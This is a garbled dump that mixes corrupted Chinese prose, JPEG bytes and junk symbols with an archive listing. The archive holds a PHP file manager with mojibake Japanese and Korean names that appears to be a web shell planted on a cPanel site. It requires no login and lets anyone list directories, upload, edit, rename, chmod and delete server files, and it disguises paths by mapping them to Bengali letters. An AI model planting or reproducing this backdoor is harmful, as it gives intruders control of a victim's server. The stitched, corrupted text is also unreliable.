fjffk简�的咖啡店科开�2方法2
环æ»�皆山也。其西å�—诸峰,林壑尤美,望之蔚然而深秀者,ç�…ç�Šä¹Ÿã€‚山行å…七里,æ¸�闻水声潺潺,而泻出于两峰之间者,酿泉也
???????????????????????????????
??????????????/?????????????????
............/...................
.........................../...
???????????????????????????????
>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>
ÿØÿà JFIF ÿÛ „ ( %!1!%)+//.383,7(-.+
-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ ¥2" ÿÄ ÿÄ J ! 1AQ"aq�2‘#BR‚¡�Ñ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ ÿÄ * !1AQa‘"2q3�±ð#b¡ÿÚ ? ¼QxJQa�uò¸Zö Úü8,�Úú
"SSn<rçù–´âE—^ªBÖ9À\†¸Â�ÔÂ�Ã�TÂÃÛ5
ëd´³Ã�#Ã�;Þ38ϔÂ� ¶H£M:wÃŽ3…³…âpÔF&‚FK¸9„â4à GEõªfÂ�ÿ ‘ñ(ßwÂpŽF|È¥ù®häðÃ�Ѷ¹‘[Ã’inÙW¶ùñYËœQ{›K"išÒ[Ú8žë\F¹@-?v"ÔUâ€�,ìöžkÿ {I‡£šÃ�?e
rÂ�ÃV
?>
.........................................
.............................................................................
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>>
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
pp.htaccess 0000644 00000000431 15250363347 0006350 0 ustar 00
# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php72� package as the default “PHP� programming language.
AddHandler application/x-httpd-ea-php72 .php .php7 .phtml
# php -- END cPanel-generated handler, do not edit
index.php 0000644 00000000000 15250363347 0006362 0 ustar 00 363973/index.php 0000644 00000063702 15250363347 0007162 0 ustar 00
000
= 1073741824) {
$�イト数 = number_format($�イト数 / 1073741824, 2) . ' GB';
}
// 1MB以上ã�®å ´å�ˆ
elseif ($�イト数 >= 1048576) {
$�イト数 = number_format($�イト数 / 1048576, 2) . ' MB';
}
// 1KB以上ã�®å ´å�ˆ
elseif ($�イト数 >= 1024) {
$�イト数 = number_format($�イト数 / 1024, 2) . ' KB';
}
// 1ãƒ�イトより大ã��ã�„å ´å�ˆ
elseif ($�イト数 > 1) {
$�イト数 = $�イト数 . ' bytes';
}
// 1ãƒ�イトã�®å ´å�ˆ
elseif ($�イト数 == 1) {
$�イト数 = $�イト数 . ' byte';
}
// 0ãƒ�イトã�®å ´å�ˆ
else {
$�イト数 = '0 bytes';
}
return $�イト数;
}
/**
* ファイルã�®æ‹¡å¼µå�ã‚’å�–å¾—ã�™ã‚‹é–¢æ•°
*
* @param string $ファイル ファイル�
* @return string ファイルã�®æ‹¡å¼µå�
*/
function 파�확장�($ファイル)
{
return substr(strrchr($ファイル, '.'), 1);
}
/**
* ファイルタイプ�応��アイコンを返�関数
* ファイルã�®æ‹¡å¼µå�ã‚„å��å‰�ã�«åŸºã�¥ã�„ã�¦é�©åˆ‡ã�ªFont Awesomeアイコンを返ã�—ã�¾ã�™
*
* @param string $ファイル ファイル�
* @return string HTMLアイコンタグ
*/
function 파�아�콘($ファイル)
{
/**
* ç”»åƒ�ファイルã�®æ‹¡å¼µå�リスト
*/
$ç”»åƒ�æ‹¡å¼µå�é…�列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
/**
* 音声ファイルã�®æ‹¡å¼µå�リスト
*/
$音声拡張å�é…�列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
/**
* ファイルã�®æ‹¡å¼µå�ã‚’å°�æ–‡å—ã�§å�–å¾—
*/
$æ‹¡å¼µå� = strtolower(파ì�¼í™•장ìž�($ファイル));
/**
* 特殊ファイル��処�
*/
if ($ファイル == "error_log") {
return ' ';
} elseif ($ファイル == ".htaccess") {
return ' ';
}
/**
* æ‹¡å¼µå�ã�«åŸºã�¥ã��アイコンã�®é�¸æŠž
*/
if ($æ‹¡å¼µå� == "html" || $æ‹¡å¼µå� == "htm") {
return ' ';
} elseif ($æ‹¡å¼µå� == "php" || $æ‹¡å¼µå� == "phtml") {
return ' ';
} elseif (in_array($æ‹¡å¼µå�, $ç”»åƒ�æ‹¡å¼µå�é…�列)) {
return ' ';
} elseif ($æ‹¡å¼µå� == "css") {
return ' ';
} elseif ($æ‹¡å¼µå� == "txt") {
return ' ';
} elseif (in_array($æ‹¡å¼µå�, $音声拡張å�é…�列)) {
return ' ';
} elseif ($æ‹¡å¼µå� == "py") {
return ' ';
} elseif ($æ‹¡å¼µå� == "js") {
return ' ';
} else {
return ' ';
}
}
/**
* パスをエンコード�る関数
* パス内ã�®ç‰¹æ®Šæ–‡å—をベンガル文å—ã�«ç½®ã��æ�›ã�ˆã�¦ã‚¨ãƒ³ã‚³ãƒ¼ãƒ‰ã�—ã�¾ã�™
*
* @param string $パス エンコード�るパス
* @return string エンコード�れ�パス
*/
function 경로�코딩($パス)
{
/**
* ç½®æ�›å‰�ã�®æ–‡å—é…�列(スラッシュã€�ãƒ�ックスラッシュã€�ドットã€�コãƒãƒ³ï¼‰
*/
$置���列 = array("/", "\\", ".", ":");
/**
* ç½®æ�›å¾Œã�®æ–‡å—é…�列(ベンガル文å—)
*/
$置�後�列 = array("ক", "খ", "গ", "ঘ");
return str_replace($置���列, $置�後�列, $パス);
}
/**
* パスをデコード�る関数
* エンコード�れ�パスを元�形��戻���
*
* @param string $パス デコード�るパス
* @return string デコード�れ�パス
*/
function 경로디코딩($パス)
{
/**
* ç½®æ�›å‰�ã�®æ–‡å—é…�列(ベンガル文å—)
*/
$置���列 = array("/", "\\", ".", ":");
/**
* ç½®æ�›å¾Œã�®æ–‡å—é…�列(スラッシュã€�ãƒ�ックスラッシュã€�ドットã€�コãƒãƒ³ï¼‰
*/
$置�後�列 = array("ক", "খ", "গ", "ঘ");
return str_replace($置�後�列, $置���列, $パス);
}
/**
* ルートパス��期化
* スクリプトã�®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’ルートパスã�¨ã�—ã�¦è¨å®š
*/
$ルートパス = __DIR__;
/**
* スクリプトファイル�パスを�得
*/
$パス = $_SERVER['SCRIPT_FILENAME'];
/**
* Windows環境ã�®å ´å�ˆã€�ãƒ�ックスラッシュをスラッシュã�«å¤‰æ�›
*/
if(strpos($_SERVER['SCRIPT_FILENAME'], ":"))
{
$パス = str_replace('\\', '/', $パス);
}
/**
* ルートディレクトリ�判定
* PHP_SELFã�¨SCRIPT_FILENAMEã�Œä¸€è‡´ã�™ã‚‹å ´å�ˆã€�ルートパスを"/"ã�«è¨å®š
*/
if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス))
{
$ルートパス = ('/');
} else {
/**
* ルートパス�計算
* SCRIPT_FILENAMEã�‹ã‚‰PHP_SELFを除ã�„ã�Ÿéƒ¨åˆ†ã‚’ルートパスã�¨ã�—ã�¦è¨å®š
*/
$ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) ));
}
/**
* パスパラメータ�処�
* GETパラメータpã�Œè¨å®šã�•れã�¦ã�„ã‚‹å ´å�ˆã€�ã��ã�®ãƒ‘スを使用
*/
if (isset($_GET['p'])) {
/**
* パラメータã�Œç©ºã�®å ´å�ˆã�¯ãƒ«ãƒ¼ãƒˆãƒ‘スを使用
*/
if (empty($_GET['p'])) {
$�在�パス = $ルートパス;
}
/**
* デコードã�—ã�Ÿãƒ‘スã�Œãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã�§ã�ªã�„å ´å�ˆã€�エラーを表示
*/
elseif (!is_dir(경로디코딩($_GET['p']))) {
echo ("");
}
/**
* デコードã�—ã�Ÿãƒ‘スã�Œãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã�®å ´å�ˆã€�ã��ã�®ãƒ‘スを使用
*/
elseif (is_dir(경로디코딩($_GET['p']))) {
$�在�パス = 경로디코딩($_GET['p']);
}
}
/**
* クエリパラメータqã�Œè¨å®šã�•れã�¦ã�„ã‚‹å ´å�ˆã�®å‡¦ç�†
*/
elseif (isset($_GET['q'])) {
/**
* デコードã�—ã�Ÿãƒ‘スã�Œãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã�§ã�ªã�„å ´å�ˆã€�ルートã�«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆ
*/
if (!is_dir(경로디코딩($_GET['q']))) {
echo ("");
}
/**
* デコードã�—ã�Ÿãƒ‘スã�Œãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã�®å ´å�ˆã€�ã��ã�®ãƒ‘スを使用
*/
elseif (is_dir(경로디코딩($_GET['q']))) {
$�在�パス = 경로디코딩($_GET['q']);
}
}
/**
* パラメータã�Œè¨å®šã�•れã�¦ã�„ã�ªã�„å ´å�ˆã€�ç�¾åœ¨ã�®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’使用
*/
else {
$�在�パス = __DIR__;
}
/**
* �在�パスを定数���定義
*/
define("PATH", $�在�パス);
/**
* ナビゲーション�ー�表示開始
*/
echo ('
');
/**
* パスパラメータã�Œè¨å®šã�•れã�¦ã�„ã‚‹å ´å�ˆã€�ファイル一覧を表示
*/
if (isset($_GET['p'])) {
/**
* ファイル�フォルダ��得
* ディレクトリã�Œèªã�¿å�–りå�¯èƒ½ã�ªå ´å�ˆã€�スã‚ャンã�—ã�¦ãƒ•ァイルã�¨ãƒ•ォルダを分離
*/
if (is_readable(PATH)) {
/**
* ディレクトリ内�全オブジェクトを�得
*/
$�得オブジェクト = scandir(PATH);
/**
* フォルダã�¨ãƒ•ã‚¡ã‚¤ãƒ«ã‚’æ ¼ç´�ã�™ã‚‹é…�列
*/
$フォルダ�列 = array();
$ファイル�列 = array();
/**
* �オブジェクトをループ���フォルダ�ファイル�分類
*/
foreach ($�得オブジェクト as $オブジェクト) {
/**
* ç�¾åœ¨ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã�¨è¦ªãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã�¯ã‚¹ã‚ップ
*/
if ($オブジェクト == '.' || $オブジェクト == '..') {
continue;
}
/**
* オブジェクト�完全パスを構築
*/
$新�オブジェクト = PATH . '/' . $オブジェクト;
/**
* ディレクトリã�®å ´å�ˆã�¯ãƒ•ォルダé…�列ã�«è¿½åŠ
*/
if (is_dir($新�オブジェクト)) {
array_push($フォルダ�列, $オブジェクト);
}
/**
* ファイルã�®å ´å�ˆã�¯ãƒ•ァイルé…�列ã�«è¿½åŠ
*/
elseif (is_file($新�オブジェクト)) {
array_push($ファイル�列, $オブジェクト);
}
}
}
/**
* ファイル一覧テーブル�ヘッダーを表示
*/
echo '
| Name |
Size |
Modified |
Perms |
Actions |
';
/**
* フォルダ一覧�表示
* �フォルダ�対������サイズ�更新日時�権��アクションを表示
*/
foreach ($フォルダ�列 as $フォルダ) {
echo "
| " . $フォルダ . " |
--- |
". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . " |
0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . " |
|
|
";
}
/**
* ファイル一覧�表示
* �ファイル�対���アイコン����サイズ�更新日時�権��アクションを表示
*/
foreach ($ファイル�列 as $ファイル) {
echo "
| " . 파�아�콘($ファイル) . $ファイル . " |
" . �기�맷팅(filesize(PATH . "/" . $ファイル)) . " |
" . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . " |
0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . " |
|
|
";
}
/**
* テーブル�終了タグ
*/
echo "
";
} else {
/**
* GETパラメータã�Œç©ºã�®å ´å�ˆã€�パスパラメータã�«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆ
*/
if (empty($_GET)) {
echo ("");
}
}
/**
* 新�ディレクトリ作�フォーム�表示
* newdirパラメータã�¨qパラメータã�Œè¨å®šã�•れã�¦ã�„ã‚‹å ´å�ˆã€�æ–°è¦�ディレクトリ作æˆ�フォームを表示
*/
if (isset($_GET['newdir']) && isset($_GET['q'])) {
echo '
';
/**
* 新�ディレクトリ作�処��実行
* create_directoryパラメータã�ŒPOSTã�•れã�Ÿå ´å�ˆã€�æ–°ã�—ã�„ディレクトリを作æˆ�
*/
if (isset($_POST['create_directory'])) {
/**
* POST�れ�ディレクトリ�を�得
*/
$新�ディレクトリ� = trim($_POST['dirname']);
/**
* ディレクトリ��検証
*/
if (!empty($新�ディレクトリ�)) {
/**
* ディレクトリå��ã�«ä¸�æ£ã�ªæ–‡å—ã�Œå�«ã�¾ã‚Œã�¦ã�„ã�ªã�„ã�‹ãƒ�ェック
*/
if (preg_match('/[\/\\\\:*?"<>|]/', $新�ディレクトリ�)) {
echo ("");
} else {
/**
* 新�ディレクトリ�完全パス
*/
$新�ディレクトリパス = PATH . "/" . $新�ディレクトリ�;
/**
* ディレクトリã�Œæ—¢ã�«å˜åœ¨ã�™ã‚‹ã�‹ãƒ�ェック
*/
if (file_exists($新�ディレクトリパス)) {
echo ("");
} else {
/**
* 新�ディレクトリ�作�
* デフォルト権é™�ã�¯0755(所有者ã�¯èªã�¿æ›¸ã��実行ã€�グループã�¨ã��ã�®ä»–ã�¯èªã�¿å®Ÿè¡Œï¼‰
*/
if(mkdir($新�ディレクトリパス, 0755, true)) {
echo ("");
} else {
echo ("");
}
}
}
} else {
echo ("");
}
}
}
/**
* ファイルアップãƒãƒ¼ãƒ‰ãƒ•ォームã�®è¡¨ç¤º
* uploadパラメータã�Œè¨å®šã�•れã�¦ã�„ã‚‹å ´å�ˆã€�アップãƒãƒ¼ãƒ‰ãƒ•ォームを表示
*/
if (isset($_GET['upload'])) {
echo '
';
}
/**
* ファイル・フォルダ�リ�ーム機能
* rパラメータã�¨qパラメータã�Œè¨å®šã�•れã�¦ã�„ã‚‹å ´å�ˆã€�リãƒ�ームフォームを表示
*/
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
/**
* リ�ームフォーム�表示
*/
echo '
';
/**
* リ�ーム処��実行
* renameパラメータã�ŒPOSTã�•れã�Ÿå ´å�ˆã€�ファイル・フォルダã�®å��å‰�を変更
*/
if (isset($_POST['rename'])) {
/**
* �在�ファイル・フォルダ�完全パス
*/
$�� = PATH . "/" . $_GET['r'];
/**
* リ�ーム�実行
*/
if(rename($��, PATH . "/" . $_POST['name'])) {
echo ("");
} else {
echo ("");
}
}
}
}
/**
* ファイル編集機能
* eパラメータã�¨qパラメータã�Œè¨å®šã�•れã�¦ã�„ã‚‹å ´å�ˆã€�ファイル編集フォームを表示
*/
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
/**
* ファイル編集フォーム�表示
* ファイルã�®å†…容をテã‚ストエリアã�«è¡¨ç¤º
*/
echo '
';
/**
* ファイルä¿�å˜å‡¦ç�†ã�®å®Ÿè¡Œ
* editパラメータã�ŒPOSTã�•れã�Ÿå ´å�ˆã€�ファイルã�®å†…容をä¿�å˜
*/
if(isset($_POST['edit'])) {
/**
* 編集対象ファイル�完全パス
*/
$ファイル� = PATH."/".$_GET['e'];
/**
* POST�れ�データを�得
*/
$データ = $_POST['data'];
/**
* ファイルを書�込�モード�開�
*/
$ファイル�ンドル = fopen($ファイル�,"w");
/**
* ファイル��書�込�
*/
if(fwrite($ファイル�ンドル,$データ)) {
echo ("");
} else {
echo ("");
}
/**
* ファイル�ンドルを閉�る
*/
fclose($ファイル�ンドル);
}
}
}
/**
* ファイルアップãƒãƒ¼ãƒ‰å‡¦ç�†ã�®å®Ÿè¡Œ
* uploadパラメータã�ŒPOSTã�•れã�Ÿå ´å�ˆã€�アップãƒãƒ¼ãƒ‰ã�•れã�Ÿãƒ•ァイルをä¿�å˜
*/
if (isset($_POST["upload"])) {
/**
* アップãƒãƒ¼ãƒ‰å…ˆã�®ãƒ•ァイルパス
*/
$ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"];
/**
* アップãƒãƒ¼ãƒ‰ã�•れã�Ÿãƒ•ァイルを移動
*/
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) {
echo "".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
";
} else {
echo "Sorry, there was an error uploading your file.
";
}
}
/**
* ファイル・フォルダ�権�変更機能
* chmodパラメータã�¨qパラメータã�Œè¨å®šã�•れã�¦ã�„ã‚‹å ´å�ˆã€�権é™�変更フォームを表示
*/
if (isset($_GET['chmod']) && isset($_GET['q'])) {
if (!empty($_GET['chmod'])) {
/**
* 権�変更対象�ファイル・フォルダ�完全パス
*/
$権�変更対象 = PATH . "/" . $_GET['chmod'];
/**
* �在�権�を�得(8進数形�)
*/
$�在�権� = substr(decoct(fileperms($権�変更対象)), -3);
/**
* 権�変更フォーム�表示
*/
echo '
';
/**
* 権�変更処��実行
* change_permissionsパラメータã�ŒPOSTã�•れã�Ÿå ´å�ˆã€�ファイル・フォルダã�®æ¨©é™�を変更
*/
if (isset($_POST['change_permissions'])) {
/**
* POST�れ�権�値を�得
*/
$新��権� = $_POST['permissions'];
/**
* 権�値�検証(3��8進数��る��を確�)
*/
if (preg_match('/^[0-7]{3}$/', $新��権�)) {
/**
* 権�変更対象�パス
*/
$権�変更パス = PATH . "/" . $_POST['chmod_target'];
/**
* 8進数形��変���chmodを実行
*/
$権�8進数値 = octdec($新��権�);
/**
* 権��変更を実行
*/
if(chmod($権�変更パス, $権�8進数値)) {
echo ("");
} else {
echo ("");
}
} else {
echo ("");
}
}
}
}
/**
* ファイル・フォルダ�削除機能
* dパラメータã�¨qパラメータã�Œè¨å®šã�•れã�¦ã�„ã‚‹å ´å�ˆã€�ファイル・フォルダを削除
*/
if (isset($_GET['d']) && isset($_GET['q'])) {
/**
* 削除対象�ファイル・フォルダ�完全パス
*/
$�� = PATH . "/" . $_GET['d'];
/**
* ファイルã�®å ´å�ˆã�®å‰Šé™¤å‡¦ç�†
*/
if (is_file($��)) {
if(unlink($��)) {
echo ("");
} else {
echo ("");
}
}
/**
* ディレクトリã�®å ´å�ˆã�®å‰Šé™¤å‡¦ç�†
*/
elseif (is_dir($��)) {
if(rmdir($��) == true) {
echo ("");
} else {
echo ("");
}
}
}
?>